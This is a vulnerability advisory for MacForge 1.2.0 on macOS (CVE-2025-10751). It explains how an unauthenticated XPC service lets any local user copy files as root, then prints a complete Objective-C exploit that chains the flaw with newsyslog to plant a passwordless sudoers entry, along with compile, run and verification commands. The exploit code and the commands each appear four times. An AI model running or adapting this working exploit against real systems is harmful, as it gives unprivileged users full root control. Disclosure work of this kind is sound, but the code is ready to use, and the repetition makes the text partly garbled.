MacForge version 1.2.0 for macOS contains an insecure XPC service that allows local, unprivileged users to escalate their privileges to root. The vulnerability stems from the XPC service com.macenhance.MacForge.Injector.mach, which exposes a method installFramework:atlocation:withReply:. This method can be invoked by any local user without authentication or authorization checks.
An attacker can abuse this method to perform arbitrary file copy operations to any location on the filesystem with root privileges. The resulting file's permissions are the same as the original file. But by chaining this powerful primitive with the standard behavior of the macOS newsyslog utility, an attacker can create a malicious sudoers configuration file, granting them full, passwordless root access.
Vulnerability
The core of the vulnerability lies in the MFInjectorProtocol XPC interface, which does not validate the client connecting to it, allowing any local process to invoke its methods. The installFramework method, intended for installing application frameworks, fails to validate its input paths, effectively becoming an arbitrary file copy function running as root.
This allows a local attacker to:
Exploit 1:
Write arbitrary files to sensitive system locations.
Leverage this file-write primitive to create a malicious newsyslog configuration.
Trigger newsyslog to create a root-owned file with attacker-controlled content.
Place this file in /etc/sudoers.d/ to gain permanent root privileges.
Exploit 2:
Overwrite /etc/paths to add a path to a directory controlled by the attacker and hijack system binaries. (require user interactions)
Overwrite the /etc/hosts file to redirect the traffic to a malicious server. (require user interactions)
PoC
The following Proof of Concept (PoC) demonstrates the escalation from a standard user to root. It is implemented in Objective-C and requires compilation with the Foundation framework.
// gcc -arch x86_64 -framework Foundation -o priv_esc exploit_v2.m#import <Foundation/Foundation.h>
#import <unistd.h>
// XPC Protocol from class-dump
@protocolMFInjectorProtocol
- (void)installFramework:(NSString *)frameworkPath
atlocation:(NSString *)destPath
withReply:(void(^)(int result))reply;
@endstatic voidarbitraryCopy(NSString *src,NSString *dst){NSString *serviceName = @"com.macenhance.MacForge.Injector.mach";// Privilege ConnectionNSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName
options:NSXPCConnectionPrivileged];// Start Remote Protocolconn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MFInjectorProtocol)];[conn resume];id<MFInjectorProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *err){}];// Call Install Framework// Arbitrary Copy[proxy installFramework:src
atlocation:dst
withReply:^(int result){if(result == 0){// Not WorkingNSLog(@"File copied as root");}}];}static voidcreateTempFile(NSString *content,NSString *path){NSError *error = nil;BOOL ok = [content writeToFile:path
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];if(ok){NSLog(@"File written at %@",path);}else{NSLog(@"Error: %@",error);}}static voidinitialSetup(NSString *user){NSLog(@"Creating /tmp/dummy_log.log");// should act as sudoers file laterNSString *content = [NSString stringWithFormat:@"%@ ALL=(ALL) NOPASSWD: ALL\n",user];NSString *path = @"/tmp/dummy_log.log";createTempFile(content,path);NSLog(@"Creating /tmp/malicious_newsyslog.conf");NSString *content2 = @"# logfile_path owner:group mode count size when flags\n/var/log/dummy_log.log root:wheel 0440 1 1 * B\n";NSString *path2 = @"/tmp/malicious_newsyslog.conf";createTempFile(content2,path2);}static BOOL checkRotateOwnedByRoot(NSString *path){NSFileManager *fm = [NSFileManager defaultManager];BOOL exists = [fm fileExistsAtPath:path];if(!exists){returnNO;}NSError *error = nil;NSDictionary *attrs = [fm attributesOfItemAtPath:path error:&error];if(!attrs){returnNO;}NSString *owner = attrs[NSFileOwnerAccountName];NSNumber *ownerUID = attrs[NSFileOwnerAccountID];NSLog(@"The file %@ exists. Owner: %@ (UID=%@)",path,owner,ownerUID);// Verificamos si es rootif([owner isEqualToString:@"root"] || [ownerUID intValue] == 0) {
NSLog(@"Is owned by root");returnYES;}else{NSLog(@"Not owned by root");returnNO;}}BOOL anyLogOrConfigExists(void){NSArray *paths = @[
@"/var/log/dummy_log.log",
@"/var/log/dummy_log.log.0",
@"/var/log/dummy_log.log.1",
@"/var/log/dummy_log.log.2",
@"/etc/newsyslog.d/malicious_newsyslog.conf"];NSFileManager *fm = [NSFileManager defaultManager];for(NSString *pathinpaths){if([fm fileExistsAtPath:path]){NSLog(@"The path %@ exists, do cleanup or change filenames",path);returnYES;// Path exists, should rename paths}}returnNO;// Ready to call exploit.}int main(int argc,constchar * argv[]){
@autoreleasepool{// Create dummy log containingif(anyLogOrConfigExists()){return1;}// User to add into sudoersNSString *user = @"nonroot";// CHANGE THISNSLog(@"Initial Setup");initialSetup(user);NSLog(@"Calling XPC exploit");NSLog(@"Copying /tmp/dummy_log.log to /var/log/dummy_log.log");arbitraryCopy(@"/tmp/dummy_log.log", @"/var/log/dummy_log.log");sleep(1);NSLog(@"Calling XPC exploit");NSLog(@"Copying /tmp/malicious_newsyslog.conf to /etc/newsyslog.d/malicious_newsyslog.conf");arbitraryCopy(@"/tmp/malicious_newsyslog.conf", @"/etc/newsyslog.d/malicious_newsyslog.conf");sleep(1);NSString *path = @"/var/log/dummy_log.log.0";NSLog(@"Waiting for newsyslog to run");while(!checkRotateOwnedByRoot(path)){sleep(5);}NSLog(@"Ready to copy to sudoers");sleep(1);NSLog(@"Calling XPC exploit");NSLog(@"Copying /var/log/dummy_log.log.0 to /etc/sudoers.d/nonroot");arbitraryCopy(@"/var/log/dummy_log.log.0", @"/etc/sudoers.d/nonroot");//[[NSRunLoop currentRunLoop] run];}return0;}
// gcc -arch x86_64 -framework Foundation -o priv_esc exploit_v2.m#import <Foundation/Foundation.h>
#import <unistd.h>
// XPC Protocol from class-dump
@protocolMFInjectorProtocol
- (void)installFramework:(NSString *)frameworkPath
atlocation:(NSString *)destPath
withReply:(void(^)(int result))reply;
@endstatic voidarbitraryCopy(NSString *src,NSString *dst){NSString *serviceName = @"com.macenhance.MacForge.Injector.mach";// Privilege ConnectionNSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName
options:NSXPCConnectionPrivileged];// Start Remote Protocolconn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MFInjectorProtocol)];[conn resume];id<MFInjectorProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *err){}];// Call Install Framework// Arbitrary Copy[proxy installFramework:src
atlocation:dst
withReply:^(int result){if(result == 0){// Not WorkingNSLog(@"File copied as root");}}];}static voidcreateTempFile(NSString *content,NSString *path){NSError *error = nil;BOOL ok = [content writeToFile:path
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];if(ok){NSLog(@"File written at %@",path);}else{NSLog(@"Error: %@",error);}}static voidinitialSetup(NSString *user){NSLog(@"Creating /tmp/dummy_log.log");// should act as sudoers file laterNSString *content = [NSString stringWithFormat:@"%@ ALL=(ALL) NOPASSWD: ALL\n",user];NSString *path = @"/tmp/dummy_log.log";createTempFile(content,path);NSLog(@"Creating /tmp/malicious_newsyslog.conf");NSString *content2 = @"# logfile_path owner:group mode count size when flags\n/var/log/dummy_log.log root:wheel 0440 1 1 * B\n";NSString *path2 = @"/tmp/malicious_newsyslog.conf";createTempFile(content2,path2);}static BOOL checkRotateOwnedByRoot(NSString *path){NSFileManager *fm = [NSFileManager defaultManager];BOOL exists = [fm fileExistsAtPath:path];if(!exists){returnNO;}NSError *error = nil;NSDictionary *attrs = [fm attributesOfItemAtPath:path error:&error];if(!attrs){returnNO;}NSString *owner = attrs[NSFileOwnerAccountName];NSNumber *ownerUID = attrs[NSFileOwnerAccountID];NSLog(@"The file %@ exists. Owner: %@ (UID=%@)",path,owner,ownerUID);// Verificamos si es rootif([owner isEqualToString:@"root"] || [ownerUID intValue] == 0) {
NSLog(@"Is owned by root");returnYES;}else{NSLog(@"Not owned by root");returnNO;}}BOOL anyLogOrConfigExists(void){NSArray *paths = @[
@"/var/log/dummy_log.log",
@"/var/log/dummy_log.log.0",
@"/var/log/dummy_log.log.1",
@"/var/log/dummy_log.log.2",
@"/etc/newsyslog.d/malicious_newsyslog.conf"];NSFileManager *fm = [NSFileManager defaultManager];for(NSString *pathinpaths){if([fm fileExistsAtPath:path]){NSLog(@"The path %@ exists, do cleanup or change filenames",path);returnYES;// Path exists, should rename paths}}returnNO;// Ready to call exploit.}int main(int argc,constchar * argv[]){
@autoreleasepool{// Create dummy log containingif(anyLogOrConfigExists()){return1;}// User to add into sudoersNSString *user = @"nonroot";// CHANGE THISNSLog(@"Initial Setup");initialSetup(user);NSLog(@"Calling XPC exploit");NSLog(@"Copying /tmp/dummy_log.log to /var/log/dummy_log.log");arbitraryCopy(@"/tmp/dummy_log.log", @"/var/log/dummy_log.log");sleep(1);NSLog(@"Calling XPC exploit");NSLog(@"Copying /tmp/malicious_newsyslog.conf to /etc/newsyslog.d/malicious_newsyslog.conf");arbitraryCopy(@"/tmp/malicious_newsyslog.conf", @"/etc/newsyslog.d/malicious_newsyslog.conf");sleep(1);NSString *path = @"/var/log/dummy_log.log.0";NSLog(@"Waiting for newsyslog to run");while(!checkRotateOwnedByRoot(path)){sleep(5);}NSLog(@"Ready to copy to sudoers");sleep(1);NSLog(@"Calling XPC exploit");NSLog(@"Copying /var/log/dummy_log.log.0 to /etc/sudoers.d/nonroot");arbitraryCopy(@"/var/log/dummy_log.log.0", @"/etc/sudoers.d/nonroot");//[[NSRunLoop currentRunLoop] run];}return0;}
// gcc -arch x86_64 -framework Foundation -o priv_esc exploit_v2.m#import <Foundation/Foundation.h>
#import <unistd.h>
// XPC Protocol from class-dump
@protocolMFInjectorProtocol
- (void)installFramework:(NSString *)frameworkPath
atlocation:(NSString *)destPath
withReply:(void(^)(int result))reply;
@endstatic voidarbitraryCopy(NSString *src,NSString *dst){NSString *serviceName = @"com.macenhance.MacForge.Injector.mach";// Privilege ConnectionNSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName
options:NSXPCConnectionPrivileged];// Start Remote Protocolconn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MFInjectorProtocol)];[conn resume];id<MFInjectorProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *err){}];// Call Install Framework// Arbitrary Copy[proxy installFramework:src
atlocation:dst
withReply:^(int result){if(result == 0){// Not WorkingNSLog(@"File copied as root");}}];}static voidcreateTempFile(NSString *content,NSString *path){NSError *error = nil;BOOL ok = [content writeToFile:path
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];if(ok){NSLog(@"File written at %@",path);}else{NSLog(@"Error: %@",error);}}static voidinitialSetup(NSString *user){NSLog(@"Creating /tmp/dummy_log.log");// should act as sudoers file laterNSString *content = [NSString stringWithFormat:@"%@ ALL=(ALL) NOPASSWD: ALL\n",user];NSString *path = @"/tmp/dummy_log.log";createTempFile(content,path);NSLog(@"Creating /tmp/malicious_newsyslog.conf");NSString *content2 = @"# logfile_path owner:group mode count size when flags\n/var/log/dummy_log.log root:wheel 0440 1 1 * B\n";NSString *path2 = @"/tmp/malicious_newsyslog.conf";createTempFile(content2,path2);}static BOOL checkRotateOwnedByRoot(NSString *path){NSFileManager *fm = [NSFileManager defaultManager];BOOL exists = [fm fileExistsAtPath:path];if(!exists){returnNO;}NSError *error = nil;NSDictionary *attrs = [fm attributesOfItemAtPath:path error:&error];if(!attrs){returnNO;}NSString *owner = attrs[NSFileOwnerAccountName];NSNumber *ownerUID = attrs[NSFileOwnerAccountID];NSLog(@"The file %@ exists. Owner: %@ (UID=%@)",path,owner,ownerUID);// Verificamos si es rootif([owner isEqualToString:@"root"] || [ownerUID intValue] == 0) {
NSLog(@"Is owned by root");returnYES;}else{NSLog(@"Not owned by root");returnNO;}}BOOL anyLogOrConfigExists(void){NSArray *paths = @[
@"/var/log/dummy_log.log",
@"/var/log/dummy_log.log.0",
@"/var/log/dummy_log.log.1",
@"/var/log/dummy_log.log.2",
@"/etc/newsyslog.d/malicious_newsyslog.conf"];NSFileManager *fm = [NSFileManager defaultManager];for(NSString *pathinpaths){if([fm fileExistsAtPath:path]){NSLog(@"The path %@ exists, do cleanup or change filenames",path);returnYES;// Path exists, should rename paths}}returnNO;// Ready to call exploit.}int main(int argc,constchar * argv[]){
@autoreleasepool{// Create dummy log containingif(anyLogOrConfigExists()){return1;}// User to add into sudoersNSString *user = @"nonroot";// CHANGE THISNSLog(@"Initial Setup");initialSetup(user);NSLog(@"Calling XPC exploit");NSLog(@"Copying /tmp/dummy_log.log to /var/log/dummy_log.log");arbitraryCopy(@"/tmp/dummy_log.log", @"/var/log/dummy_log.log");sleep(1);NSLog(@"Calling XPC exploit");NSLog(@"Copying /tmp/malicious_newsyslog.conf to /etc/newsyslog.d/malicious_newsyslog.conf");arbitraryCopy(@"/tmp/malicious_newsyslog.conf", @"/etc/newsyslog.d/malicious_newsyslog.conf");sleep(1);NSString *path = @"/var/log/dummy_log.log.0";NSLog(@"Waiting for newsyslog to run");while(!checkRotateOwnedByRoot(path)){sleep(5);}NSLog(@"Ready to copy to sudoers");sleep(1);NSLog(@"Calling XPC exploit");NSLog(@"Copying /var/log/dummy_log.log.0 to /etc/sudoers.d/nonroot");arbitraryCopy(@"/var/log/dummy_log.log.0", @"/etc/sudoers.d/nonroot");//[[NSRunLoop currentRunLoop] run];}return0;}
// gcc -arch x86_64 -framework Foundation -o priv_esc exploit_v2.m#import <Foundation/Foundation.h>
#import <unistd.h>
// XPC Protocol from class-dump
@protocolMFInjectorProtocol
- (void)installFramework:(NSString *)frameworkPath
atlocation:(NSString *)destPath
withReply:(void(^)(int result))reply;
@endstatic voidarbitraryCopy(NSString *src,NSString *dst){NSString *serviceName = @"com.macenhance.MacForge.Injector.mach";// Privilege ConnectionNSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName
options:NSXPCConnectionPrivileged];// Start Remote Protocolconn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MFInjectorProtocol)];[conn resume];id<MFInjectorProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *err){}];// Call Install Framework// Arbitrary Copy[proxy installFramework:src
atlocation:dst
withReply:^(int result){if(result == 0){// Not WorkingNSLog(@"File copied as root");}}];}static voidcreateTempFile(NSString *content,NSString *path){NSError *error = nil;BOOL ok = [content writeToFile:path
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];if(ok){NSLog(@"File written at %@",path);}else{NSLog(@"Error: %@",error);}}static voidinitialSetup(NSString *user){NSLog(@"Creating /tmp/dummy_log.log");// should act as sudoers file laterNSString *content = [NSString stringWithFormat:@"%@ ALL=(ALL) NOPASSWD: ALL\n",user];NSString *path = @"/tmp/dummy_log.log";createTempFile(content,path);NSLog(@"Creating /tmp/malicious_newsyslog.conf");NSString *content2 = @"# logfile_path owner:group mode count size when flags\n/var/log/dummy_log.log root:wheel 0440 1 1 * B\n";NSString *path2 = @"/tmp/malicious_newsyslog.conf";createTempFile(content2,path2);}static BOOL checkRotateOwnedByRoot(NSString *path){NSFileManager *fm = [NSFileManager defaultManager];BOOL exists = [fm fileExistsAtPath:path];if(!exists){returnNO;}NSError *error = nil;NSDictionary *attrs = [fm attributesOfItemAtPath:path error:&error];if(!attrs){returnNO;}NSString *owner = attrs[NSFileOwnerAccountName];NSNumber *ownerUID = attrs[NSFileOwnerAccountID];NSLog(@"The file %@ exists. Owner: %@ (UID=%@)",path,owner,ownerUID);// Verificamos si es rootif([owner isEqualToString:@"root"] || [ownerUID intValue] == 0) {
NSLog(@"Is owned by root");returnYES;}else{NSLog(@"Not owned by root");returnNO;}}BOOL anyLogOrConfigExists(void){NSArray *paths = @[
@"/var/log/dummy_log.log",
@"/var/log/dummy_log.log.0",
@"/var/log/dummy_log.log.1",
@"/var/log/dummy_log.log.2",
@"/etc/newsyslog.d/malicious_newsyslog.conf"];NSFileManager *fm = [NSFileManager defaultManager];for(NSString *pathinpaths){if([fm fileExistsAtPath:path]){NSLog(@"The path %@ exists, do cleanup or change filenames",path);returnYES;// Path exists, should rename paths}}returnNO;// Ready to call exploit.}int main(int argc,constchar * argv[]){
@autoreleasepool{// Create dummy log containingif(anyLogOrConfigExists()){return1;}// User to add into sudoersNSString *user = @"nonroot";// CHANGE THISNSLog(@"Initial Setup");initialSetup(user);NSLog(@"Calling XPC exploit");NSLog(@"Copying /tmp/dummy_log.log to /var/log/dummy_log.log");arbitraryCopy(@"/tmp/dummy_log.log", @"/var/log/dummy_log.log");sleep(1);NSLog(@"Calling XPC exploit");NSLog(@"Copying /tmp/malicious_newsyslog.conf to /etc/newsyslog.d/malicious_newsyslog.conf");arbitraryCopy(@"/tmp/malicious_newsyslog.conf", @"/etc/newsyslog.d/malicious_newsyslog.conf");sleep(1);NSString *path = @"/var/log/dummy_log.log.0";NSLog(@"Waiting for newsyslog to run");while(!checkRotateOwnedByRoot(path)){sleep(5);}NSLog(@"Ready to copy to sudoers");sleep(1);NSLog(@"Calling XPC exploit");NSLog(@"Copying /var/log/dummy_log.log.0 to /etc/sudoers.d/nonroot");arbitraryCopy(@"/var/log/dummy_log.log.0", @"/etc/sudoers.d/nonroot");//[[NSRunLoop currentRunLoop] run];}return0;}
Evidence of Exploitation
Compile the exploit:
gcc -arch x86_64 -framework Foundation -o priv_esc exploit.m
gcc -arch x86_64 -framework Foundation -o priv_esc exploit.m
gcc -arch x86_64 -framework Foundation -o priv_esc exploit.m
gcc -arch x86_64 -framework Foundation -o priv_esc exploit.m
Run the exploit:
./priv_esc
./priv_esc
./priv_esc
./priv_esc
Trigger newsyslog: The exploit will wait for the automatic execution of newsyslog (which happens hourly by default on macOS). To accelerate, the attacker can manually trigger it from another terminal:
sudo newsyslog -F
sudo newsyslog -F
sudo newsyslog -F
sudo newsyslog -F
Verify privileges: Once the exploit completes, the user nonroot will have passwordless sudo access.
sudo -u nonroot whoami
# Expected output:root
sudo -u nonroot whoami
# Expected output:root
sudo -u nonroot whoami
# Expected output:root
sudo -u nonroot whoami
# Expected output:root
Newsyslog logs (executed each hour)
Exploit
Newsyslog config added
/var/log/dummy_log.log.0 permissions and content after rotated.
Our security policy
We have reserved the ID CVE-2025-10751 to refer to this issue from now on.